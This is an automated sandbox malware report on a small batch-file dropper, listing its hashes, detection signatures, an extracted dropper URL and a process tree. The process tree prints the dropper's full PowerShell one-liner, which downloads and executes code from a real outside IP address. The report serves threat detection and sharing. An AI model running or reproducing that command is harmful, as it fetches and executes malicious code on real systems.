Overview

overview

10

Static

static

46MBBJZz.bat

windows7_x64

10

46MBBJZz.bat

windows10_x64

10

Analysis

  • max time kernel
    129s
  • max time network
    66s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    01-05-2020 13:10

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    46MBBJZz.bat

  • Size

    189B

  • MD5

    c7b71aa9749be55225b17bbaf4b4b9a1

  • SHA1

    ec46d8385341aa2152b70d834c898c5fd9c82284

  • SHA256

    ca27de823967366e96e0623a33820b1713b1e19439c82d81fe6521e04da48dcb

  • SHA512

    3c0c57b1384957bcf30d3c079c6fc7c4a48be99a2148490e078eaa1809dd87d2e5f047f457cc8c9f2e6518f5ef8177d73f739c27076f45ec5deae04be4590e8d

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/46MBBJZz

Signatures

  • Makes http(s) request 1 IoCs

    Contacts server via http/https, possibly for C2 communication.

  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\46MBBJZz.bat"
    1⤵
      PID:1492
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/46MBBJZz');Invoke-ECMOWU;Start-Sleep -s 10000"
        2⤵
          PID:1804
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 704
            3⤵
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            PID:2172

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2172-0-0x0000000004BC0000-0x0000000004BC1000-memory.dmp

        Filesize

        4KB

        Download